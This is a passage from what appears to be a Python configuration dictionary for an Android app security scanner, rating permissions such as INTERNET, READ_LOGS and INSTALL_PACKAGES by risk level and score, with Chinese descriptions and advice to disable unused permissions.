u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_com.android.browser.permission.WRITE_HISTORY_BOOKMARKS' : {\r\n        'type' : 0,\r\n        'name' : u'com.android.browser.permission.WRITE_HISTORY_BOOKMARKS',\r\n        'desc' : u'写浏览器书签',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得写浏览器书签的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'com.android.browser.permission.WRITE_HISTORY_BOOKMARKS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_com.android.browser.permission.READ_HISTORY_BOOKMARKS' : {\r\n        'type' : 0,\r\n        'name' : u'com.android.browser.permission.READ_HISTORY_BOOKMARKS',\r\n        'desc' : u'读取浏览器书签',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得读取浏览器书签的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'com.android.browser.permission.READ_HISTORY_BOOKMARKS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_com.android.launcher.permission.INSTALL_SHORTCUT' : {\r\n        'type' : 0,\r\n        'name' : u'com.android.launcher.permission.INSTALL_SHORTCUT',\r\n        'desc' : u'创建快捷方式',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得创建快捷方式的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'com.android.launcher.permission.INSTALL_SHORTCUT',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.BRICK' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.BRICK',\r\n        'desc' : u'请求能够禁用设备',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得请求能够禁用设备的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.BRICK',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.INTERNET' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.INTERNET',\r\n        'desc' : u'连接网络',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得连接网络的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.INTERNET',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.READ_PHONE_STATE' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.READ_PHONE_STATE',\r\n        'desc' : u'读取电话状态',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得读取电话状态的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.READ_PHONE_STATE',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.WRITE_EXTERNAL_STORAGE' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.WRITE_EXTERNAL_STORAGE',\r\n        'desc' : u'写外部存储器（如：SD卡）',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得写外部存储器的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.WRITE_EXTERNAL_STORAGE',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.ACCESS_CHECKIN_PROPERTIES' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.ACCESS_CHECKIN_PROPERTIES',\r\n        'desc' : u'允许读写访问 \"properties\"表在checkin数据库中，改值可以修改上传',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得访问登记属性，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.ACCESS_CHECKIN_PROPERTIES',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.ACCESS_LOCATION_EXTRA_COMMANDS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.ACCESS_LOCATION_EXTRA_COMMANDS',\r\n        'desc' : u'应用程序访问位置的额外命令',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得访问位置的额外命令的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.ACCESS_LOCATION_EXTRA_COMMANDS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.ACCESS_MOCK_LOCATION' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.ACCESS_MOCK_LOCATION',\r\n        'desc' : u'程序创建模拟位置',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得程序创建模拟位置的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.ACCESS_MOCK_LOCATION',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.ACCESS_NETWORK_STATE' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.ACCESS_NETWORK_STATE',\r\n        'desc' : u'访问GSM网络有关信息',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得访问GSM网络有关信息的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.ACCESS_NETWORK_STATE',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.ACCESS_SURFACE_FLINGER' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.ACCESS_SURFACE_FLINGER',\r\n        'desc' : u'使用SurfaceFlinger底层特性',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得使用SurfaceFlinger底层特性的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.ACCESS_SURFACE_FLINGER',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.BLUETOOTH' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.BLUETOOTH',\r\n        'desc' : u'连接到已配对的蓝牙设备',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得连接到已配对的蓝牙设备的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.BLUETOOTH',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.BLUETOOTH_ADMIN' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.BLUETOOTH_ADMIN',\r\n        'desc' : u'程序发现和配对蓝牙设备',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得程序发现和配对蓝牙设备的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.BLUETOOTH_ADMIN',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.BROADCAST_STICKY' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.BROADCAST_STICKY',\r\n        'desc' : u'广播常用intents',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得广播常用intents的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.BROADCAST_STICKY',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.CALL_PRIVILEGED' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.CALL_PRIVILEGED',\r\n        'desc' : u'拨打任何号码，包含紧急号码无需通过拨号用户界面需要用户确认',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得拨打任何号码，包含紧急号码无需通过拨号用户界面需要用户确认的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.CALL_PRIVILEGED',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.CHANGE_COMPONENT_ENABLED_STATE' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.CHANGE_COMPONENT_ENABLED_STATE',\r\n        'desc' : u'改变其他组件的使能状态',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得改变其他组件的使能状态的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.CHANGE_COMPONENT_ENABLED_STATE',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.CHANGE_CONFIGURATION' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.CHANGE_CONFIGURATION',\r\n        'desc' : u'修改当前设置',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得修改当前设置的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.CHANGE_CONFIGURATION',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.CHANGE_WIFI_STATE' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.CHANGE_WIFI_STATE',\r\n        'desc' : u'改变Wi-Fi连接状态',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得改变Wi-Fi连接状态的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.CHANGE_WIFI_STATE',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.CLEAR_APP_CACHE' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.CLEAR_APP_CACHE',\r\n        'desc' : u'清除应用缓存',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得清除应用缓存的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.CLEAR_APP_CACHE',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.CLEAR_APP_USER_DATA' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.CLEAR_APP_USER_DATA',\r\n        'desc' : u'清除用户设置',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得清除用户设置的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.CLEAR_APP_USER_DATA',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.CONTROL_LOCATION_UPDATES' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.CONTROL_LOCATION_UPDATES',\r\n        'desc' : u'允许无线模块启用禁止位置更新',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得允许无线模块启用禁止位置更新的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.CONTROL_LOCATION_UPDATES',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.DELETE_CACHE_FILES' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.DELETE_CACHE_FILES',\r\n        'desc' : u'删除缓存文件',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得删除缓存文件的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.DELETE_CACHE_FILES',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.DELETE_PACKAGES' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.DELETE_PACKAGES',\r\n        'desc' : u'删除包',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得删除包的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.DELETE_PACKAGES',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.DEVICE_POWER' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.DEVICE_POWER',\r\n        'desc' : u'访问底层电源管理',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得访问底层电源管理的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.DEVICE_POWER',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.DISABLE_KEYGUARD' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.DISABLE_KEYGUARD',\r\n        'desc' : u'禁用键盘锁',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得禁用键盘锁的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.DISABLE_KEYGUARD',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.DUMP' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.DUMP',\r\n        'desc' : u'从系统服务返回状态抓取信息',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得从系统服务返回状态抓取信息的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.DUMP',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.EXPAND_STATUS_BAR' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.EXPAND_STATUS_BAR',\r\n        'desc' : u'应用在状态栏扩展或收缩',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得应用在状态栏扩展或收缩的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.EXPAND_STATUS_BAR',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.FACTORY_TEST' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.FACTORY_TEST',\r\n        'desc' : u'作为一个工厂测试程序',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得作为一个工厂测试程序的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.FACTORY_TEST',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.FLASHLIGHT' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.FLASHLIGHT',\r\n        'desc' : u'访问闪光灯',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得访问闪光灯的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.FLASHLIGHT',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.FORCE_BACK' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.FORCE_BACK',\r\n        'desc' : u'强制后退操作在顶层',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得强制后退操作在顶层的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.FORCE_BACK',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.GET_ACCOUNTS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.GET_ACCOUNTS',\r\n        'desc' : u'访问帐户列表',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得访问帐户列表的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.GET_ACCOUNTS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.HARDWARE_TEST' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.HARDWARE_TEST',\r\n        'desc' : u'允许访问硬件',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得允许访问硬件的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.HARDWARE_TEST',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.INJECT_EVENTS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.INJECT_EVENTS',\r\n        'desc' : u'截获用户事件，如按键、触摸、轨迹球',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得截获用户事件的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.INJECT_EVENTS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.INSTALL_PACKAGES' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.INSTALL_PACKAGES',\r\n        'desc' : u'安装packages',\r\n        'level' : u'高危',\r\n        'harm' : u'应用将获得安装packages的权限，可能被用于恶意行为',\r\n        'score' : 3,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.INSTALL_PACKAGES',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.MANAGE_APP_TOKENS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.MANAGE_APP_TOKENS',\r\n        'desc' : u'在窗口管理器中管理程序',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得在窗口管理器中管理程序的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.MANAGE_APP_TOKENS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.PERSISTENT_ACTIVITY' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.PERSISTENT_ACTIVITY',\r\n        'desc' : u'设置其他的activities显示',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得设置其他的activities显示的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.PERSISTENT_ACTIVITY',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.PROCESS_OUTGOING_CALLS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.PROCESS_OUTGOING_CALLS',\r\n        'desc' : u'监视、修改有关拨出电话的信息',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得监视、修改有关拨出电话的信息的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.PROCESS_OUTGOING_CALLS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.READ_CALENDAR' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.READ_CALENDAR',\r\n        'desc' : u'读取用户日历数据',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得读取用户日历数据的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.READ_CALENDAR',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.READ_FRAME_BUFFER' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.READ_FRAME_BUFFER',\r\n        'desc' : u'抓屏或访问帧缓冲',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得抓屏或访问帧缓冲的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.READ_FRAME_BUFFER',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.READ_INPUT_STATE' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.READ_INPUT_STATE',\r\n        'desc' : u'当前按键状态',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得当前按键状态的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.READ_INPUT_STATE',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.READ_LOGS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.READ_LOGS',\r\n        'desc' : u'读取底层系统日志文件',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得读取底层系统日志文件的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.READ_LOGS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.READ_OWNER_DATA' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.READ_OWNER_DATA',\r\n        'desc' : u'读取所有者数据',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得读取所有者数据的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.READ_OWNER_DATA',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.READ_SYNC_SETTINGS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.READ_SYNC_SETTINGS',\r\n        'desc' : u'读取同步设置',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得读取同步设置的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.READ_SYNC_SETTINGS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.READ_SYNC_STATS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.READ_SYNC_STATS',\r\n        'desc' : u'读取同步状态',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得读取同步状态的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.READ_SYNC_STATS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.REBOOT' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.REBOOT',\r\n        'desc' : u'重新启动设备',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得重新启动设备的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.REBOOT',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.RECEIVE_BOOT_COMPLETED' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.RECEIVE_BOOT_COMPLETED',\r\n        'desc' : u'接收到ACTION_BOOT_COMPLETED',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得接收到ACTION_BOOT_COMPLETED的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.RECEIVE_BOOT_COMPLETED',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.RECEIVE_MMS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.RECEIVE_MMS',\r\n        'desc' : u'接收MMS彩信',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得接收MMS彩信的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.RECEIVE_MMS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.RECEIVE_WAP_PUSH' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.RECEIVE_WAP_PUSH',\r\n        'desc' : u'接收WAP PUSH信息',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得接收WAP PUSH信息的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.RECEIVE_WAP_PUSH',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.RECORD_AUDIO' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.RECORD_AUDIO',\r\n        'desc' : u'录制音频',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得录制音频的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.RECORD_AUDIO',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.REORDER_TASKS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.REORDER_TASKS',\r\n        'desc' : u'排列任务',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得排列任务的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.REORDER_TASKS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.WRITE_APN_SETTINGS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.WRITE_APN_SETTINGS',\r\n        'desc' : u'写入APN设置',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得写入APN设置的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.WRITE_APN_SETTINGS',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.WRITE_CALENDAR' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.WRITE_CALENDAR',\r\n        'desc' : u'写入用户日历数据',\r\n        'level' : u'中危',\r\n        'harm' : u'应用将获得写入用户日历数据的权限，可能被用于恶意行为',\r\n        'score' : 2,\r\n        'result' : u'存在风险',\r\n        'analysis' : u'在权限配置中可能设置开启了该权限项',\r\n        'detail' : u'android.permission.WRITE_CALENDAR',\r\n        'advise' : u'如果应用中没有使用该权限建议将其设为关闭状态',\r\n    },\r\n    '5_android.permission.WRITE_CONTACTS' : {\r\n        'type' : 0,\r\n        'name' : u'android.permission.WRITE_CONTACTS',\r\n        'desc' : 